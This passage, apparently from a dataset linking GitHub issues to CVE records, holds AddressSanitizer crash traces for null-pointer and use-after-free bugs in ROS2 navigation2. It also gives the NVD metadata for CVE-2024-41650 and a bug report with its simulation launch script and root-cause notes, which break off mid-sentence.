tf2_ros::BufferInterface::transform<geometry_msgs::msg::PoseStamped_<std::allocator<void> > >(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::chrono::duration<long, std::ratio<1l, 1000000000l> >) const (/home/ROS/nav2_humble/install/nav_2d_utils/lib/libtf_help.so+0x50a7) (BuildId: f41cf37be8ae9a489a0e1967e8f3d5855328550d) #1 0x729ae082510c in geometry_msgs::msg::PoseStamped_<std::allocator<void> > tf2_ros::BufferInterface::transform<geometry_msgs::msg::PoseStamped_<std::allocator<void> > >(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::chrono::duration<long, std::ratio<1l, 1000000000l> >) const (/home/ROS/nav2_humble/install/nav2_util/lib/libnav2_util_core.so+0x8a10c) (BuildId: 074014a12aa30b6de43159e7eb335b66f35e5343) #2 0x729ae082394d in nav2_util::transformPoseInTargetFrame(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> >&, tf2_ros::Buffer&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, double) (/home/ROS/nav2_humble/install/nav2_util/lib/libnav2_util_core.so+0x8894d) (BuildId: 074014a12aa30b6de43159e7eb335b66f35e5343) #3 0x729ae082383f in nav2_util::getCurrentPose(geometry_msgs::msg::PoseStamped_<std::allocator<void> >&, tf2_ros::Buffer&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, double, rclcpp::Time) (/home/ROS/nav2_humble/install/nav2_util/lib/libnav2_util_core.so+0x8883f) (BuildId: 074014a12aa30b6de43159e7eb335b66f35e5343) #4 0x729ae09e44f8 in nav2_costmap_2d::Costmap2DROS::getRobotPose(geometry_msgs::msg::PoseStamped_<std::allocator<void> >&) (/home/ROS/nav2_humble/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0xd74f8) (BuildId: d3f6c00ef70b4aad0debc1ebe06356b8e99d1629) #5 0x729adf0a6813 in nav2_controller::ControllerServer::getRobotPose(geometry_msgs::msg::PoseStamped_<std::allocator<void> >&) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x2a6813) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #6 0x729adf0a4c71 in nav2_controller::ControllerServer::isGoalReached() (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x2a4c71) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #7 0x729adf094472 in nav2_controller::ControllerServer::computeControl() (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x294472) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #8 0x729adf21cad3 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::work() (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x41cad3) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #9 0x729adf21be44 in std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::operator()() const (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x41be44) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #10 0x729adf21bb57 in std::enable_if<is_invocable_r_v<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&>, std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> >::type std::__invoke_r<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&>(std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x41bb57) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #11 0x729adf21b998 in std::_Function_handler<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> (), std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void> >::_M_invoke(std::_Any_data const&) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x41b998) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #12 0x729ae081ab46 in std::__future_base::_State_baseV2::_M_do_set(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()>*, bool*) (/home/ROS/nav2_humble/install/nav2_util/lib/libnav2_util_core.so+0x7fb46) (BuildId: 074014a12aa30b6de43159e7eb335b66f35e5343) #13 0x729ade699ee7 in __pthread_once_slow nptl/./nptl/pthread_once.c:116:7 #14 0x729adf219561 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::_M_run() (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x419561) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #15 0x729adeadc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #16 0x729ade694ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #17 0x729ade72684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/ROS/nav2_humble/install/nav_2d_utils/lib/libtf_help.so+0x50a7) (BuildId: f41cf37be8ae9a489a0e1967e8f3d5855328550d) in geometry_msgs::msg::PoseStamped_<std::allocator<void> >& tf2_ros::BufferInterface::transform<geometry_msgs::msg::PoseStamped_<std::allocator<void> > >(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::chrono::duration<long, std::ratio<1l, 1000000000l> >) const Thread T19 created by T15 here: #0 0x5c5ac718d83c in __interceptor_pthread_create (/home/ROS/nav2_humble/install/nav2_controller/lib/nav2_controller/controller_server+0x9383c) (BuildId: 60fb04b0300c8f65b9f573a6e9d75aa30322c8e1) #1 0x729adeadc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x729adf218ec2 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x418ec2) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #3 0x729adf218668 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>, std::allocator<void>, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>*&, std::_Sp_alloc_shared_tag<std::allocator<void> >, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x418668) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #4 0x729adf216913 in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x416913) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #5 0x729adf1ffa39 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x3ffa39) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #6 0x729adf2206d7 in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> > >(std::__invoke_memfun_deref, void (nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >&&) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x4206d7) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #7 0x729adf207596 in rclcpp_action::Server<nav2_msgs::action::FollowPath>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x407596) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #8 0x729ae04ea1b6 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x131b6) (BuildId: 8da0710b8af025b200f6ce73ffc85c5ed5c45a8d) Thread T15 created by T0 here: #0 0x5c5ac718d83c in __interceptor_pthread_create (/home/ROS/nav2_humble/install/nav2_controller/lib/nav2_controller/controller_server+0x9383c) (BuildId: 60fb04b0300c8f65b9f573a6e9d75aa30322c8e1) #1 0x729adeadc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x729adf1f8eb5 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::SimpleActionServer<std::shared_ptr<nav2_util::LifecycleNode> >(std::shared_ptr<nav2_util::LifecycleNode>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x3f8eb5) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #3 0x729adf092bc8 in std::__detail::_MakeUniq<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath> >::__single_object std::make_unique<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>, std::shared_ptr<nav2_util::LifecycleNode>, char const (&) [12], std::_Bind<void (nav2_controller::ControllerServer::* (nav2_controller::ControllerServer*))()>, std::nullptr_t, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool>(std::shared_ptr<nav2_util::LifecycleNode>&&, char const (&) [12], std::_Bind<void (nav2_controller::ControllerServer::* (nav2_controller::ControllerServer*))()>&&, std::nullptr_t&&, std::chrono::duration<long, std::ratio<1l, 1000l> >&&, bool&&) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x292bc8) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #4 0x729adf088021 in nav2_controller::ControllerServer::on_configure(rclcpp_lifecycle::State const&) (/home/ROS/nav2_humble/install/nav2_controller/lib/libcontroller_server_core.so+0x288021) (BuildId: 72a6929e4535368de7f442ee4162f491af872269) #5 0x729ae00fbb8c (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x28b8c) (BuildId: e9b8e454bf87aaab775667b79aefcab12c018de9) ==130823==ABORTING ``` #### Additional information  ---- Accroding to the ASAN report , it seems that `global_pose` variable is changed as a NullPtr when `costmap_ros->getRobotPose` is still running. https://github.com/open-navigation/navigation2/blob/8f097af08ced738f4a0797d941a60d834ebc8d80/nav2_controller/src/controller_server.cpp#L613-L621

NullPtr bug occurs during costmap-calculation of `controller_server`

https://api.github.com/repos/ros-navigation/navigation2/issues/4323/comments

5

2024-05-10T07:18:36Z

2024-05-31T15:41:25Z

https://github.com/ros-navigation/navigation2/issues/4323

2,289,118,828

4,323

6,455

CVE-2024-41650

2024-12-06T22:15:21.163

Insecure Permissions vulnerability in Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble allows an attacker to execute arbitrary code via a crafted script to the nav2_costmap_2d.

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 4.2, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4489" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4495" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4489" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "281" ]

281

https://github.com/ros-navigation/navigation2/issues/4489

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  ubuntu 22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  Bug happened in my normal usage. Launch the navigation2 as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` #### Expected behavior no bug occured. #### Actual behavior the Asan report of this bug is as following: ``` ================================================================= ==1243485==ERROR: AddressSanitizer: heap-use-after-free on address 0x6170000c1690 at pc 0x7966587ea5af bp 0x79664a7fb710 sp 0x79664a7fb708 READ of size 8 at 0x6170000c1690 thread T14 #0 0x7966587ea5ae in std::vector<int, std::allocator<int> >::operator=(std::vector<int, std::allocator<int> > const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x1ea5ae) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #1 0x79665837748a in std::vector<std::vector<int, std::allocator<int> >, std::allocator<std::vector<int, std::allocator<int> > > >::operator=(std::vector<std::vector<int, std::allocator<int> >, std::allocator<std::vector<int, std::allocator<int> > > > const&) (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x17748a) (BuildId: ae511a7dd186fe200f2fced591c67dc98004b8d8) #2 0x79665837607f in nav2_costmap_2d::InflationLayer::generateIntegerDistances() (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x17607f) (BuildId: ae511a7dd186fe200f2fced591c67dc98004b8d8) #3 0x796658374c50 in nav2_costmap_2d::InflationLayer::computeCaches() (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x174c50) (BuildId: ae511a7dd186fe200f2fced591c67dc98004b8d8) #4 0x796658374903 in nav2_costmap_2d::InflationLayer::matchSize() (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x174903) (BuildId: ae511a7dd186fe200f2fced591c67dc98004b8d8) #5 0x796658377529 in nav2_costmap_2d::InflationLayer::reset() (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x177529) (BuildId: ae511a7dd186fe200f2fced591c67dc98004b8d8) #6 0x7966581349b9 in nav2_costmap_2d::Costmap2DROS::resetLayers() (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0xd79b9) (BuildId: ae00021bac019132f382130b42d6275d543c55a4) #7 0x7966581a93e5 in nav2_costmap_2d::ClearCostmapService::clearEntireCallback(std::shared_ptr<rmw_request_id_s>, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Request_<std::allocator<void> > >, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Response_<std::allocator<void> > >) (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0x14c3e5) (BuildId: ae00021bac019132f382130b42d6275d543c55a4) #8 0x7966581b2eb1 in void std::__invoke_impl<void, void (nav2_costmap_2d::ClearCostmapService::*&)(std::shared_ptr<rmw_request_id_s>, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Request_<std::allocator<void> > >, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Response_<std::allocator<void> > >), nav2_costmap_2d::ClearCostmapService*&, std::shared_ptr<rmw_request_id_s>, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Request_<std::allocator<void> > >, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Response_<std::allocator<void> > > >(std::__invoke_memfun_deref, void (nav2_costmap_2d::ClearCostmapService::*&)(std::shared_ptr<rmw_request_id_s>, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Request_<std::allocator<void> > >, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Response_<std::allocator<void> > >), nav2_costmap_2d::ClearCostmapService*&, std::shared_ptr<rmw_request_id_s>&&, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Request_<std::allocator<void> > >&&, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Response_<std::allocator<void> > >&&) (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0x155eb1) (BuildId: ae00021bac019132f382130b42d6275d543c55a4) #9 0x7966581b62c9 in rclcpp::AnyServiceCallback<nav2_msgs::srv::ClearEntireCostmap>::dispatch(std::shared_ptr<rclcpp::Service<nav2_msgs::srv::ClearEntireCostmap> > const&, std::shared_ptr<rmw_request_id_s> const&, std::shared_ptr<nav2_msgs::srv::ClearEntireCostmap_Request_<std::allocator<void> > >) (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0x1592c9) (BuildId: ae00021bac019132f382130b42d6275d543c55a4) #10 0x7966581b44bb in rclcpp::Service<nav2_msgs::srv::ClearEntireCostmap>::handle_request(std::shared_ptr<rmw_request_id_s>, std::shared_ptr<void>) (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0x1574bb) (BuildId: ae00021bac019132f382130b42d6275d543c55a4) #11 0x796657878375 (/opt/ros/humble/lib/librclcpp.so+0xe9375) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #12 0x796657875d59 in rclcpp::Executor::execute_service(std::shared_ptr<rclcpp::ServiceBase>) (/opt/ros/humble/lib/librclcpp.so+0xe6d59) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #13 0x7966578760c5 in rclcpp::Executor::execute_any_executable(rclcpp::AnyExecutable&) (/opt/ros/humble/lib/librclcpp.so+0xe70c5) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #14 0x79665787d97f in rclcpp::executors::SingleThreadedExecutor::spin() (/opt/ros/humble/lib/librclcpp.so+0xee97f) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #15 0x79665800ceb4 in std::thread::_State_impl<std::thread::_Invoker<std::tuple<nav2_util::NodeThread::NodeThread(std::shared_ptr<rclcpp::node_interfaces::NodeBaseInterface>)::$_0> > >::_M_run() node_thread.cpp #16 0x7966568dc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #17 0x796656494ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #18 0x79665652684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 0x6170000c1690 is located 16 bytes inside of 648-byte region [0x6170000c1680,0x6170000c1908) freed by thread T1 here: #0 0x5c4aa18b3a2d in operator delete(void*) (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0xe5a2d) (BuildId: 191f253724b34c41ec9522f9202cc91f782cabef) #1 0x796658372633 in nav2_costmap_2d::InflationLayer::~InflationLayer() (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x172633) (BuildId: ae511a7dd186fe200f2fced591c67dc98004b8d8) previously allocated by thread T0 here: #0 0x5c4aa18b31cd in operator new(unsigned long) (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0xe51cd) (BuildId: 191f253724b34c41ec9522f9202cc91f782cabef) #1 0x79665837a27b in std::vector<int, std::allocator<int> >* std::vector<std::vector<int, std::allocator<int> >, std::allocator<std::vector<int, std::allocator<int> > > >::_M_allocate_and_copy<__gnu_cxx::__normal_iterator<std::vector<int, std::allocator<int> > const*, std::vector<std::vector<int, std::allocator<int> >, std::allocator<std::vector<int, std::allocator<int> > > > > >(unsigned long, __gnu_cxx::__normal_iterator<std::vector<int, std::allocator<int> > const*, std::vector<std::vector<int, std::allocator<int> >, std::allocator<std::vector<int, std::allocator<int> > > > >, __gnu_cxx::__normal_iterator<std::vector<int, std::allocator<int> > const*, std::vector<std::vector<int, std::allocator<int> >, std::allocator<std::vector<int, std::allocator<int> > > > >) (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x17a27b) (BuildId: ae511a7dd186fe200f2fced591c67dc98004b8d8) Thread T14 created by T0 here: #0 0x5c4aa186187c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x9387c) (BuildId: 191f253724b34c41ec9522f9202cc91f782cabef) #1 0x7966568dc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) Thread T1 created by T0 here: #0 0x5c4aa186187c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x9387c) (BuildId: 191f253724b34c41ec9522f9202cc91f782cabef) #1 0x7966568dc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) SUMMARY: AddressSanitizer: heap-use-after-free (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x1ea5ae) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) in std::vector<int, std::allocator<int> >::operator=(std::vector<int, std::allocator<int> > const&) Shadow bytes around the buggy address: 0x0c2e80010280: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e80010290: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e800102a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e800102b0: fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2e800102c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c2e800102d0: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e800102e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e800102f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e80010300: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e80010310: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e80010320: fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1243485==ABORTING ``` #### Additional information  ---- ##### It's a shutdown-issue First, based on my execution logs, I can confirm this is a shutdown issue. ##### It is caused by the `clear_entire_service_` in the costmap not being actively closed. 1. The callback function `clearEntireCallback()` that triggers the bug is executed by the service `clear_entire_service_`: https://github.com/ros-navigation/navigation2/blob/9fbae3e66ecc3b7315ca7cbb070468a564f5e111/nav2_costmap_2d/src/clear_costmap_service.cpp#L55-L59 This service is created in the `ClearCostmapService` class, but this class does not seem to have a destructor, meaning there is no active release or 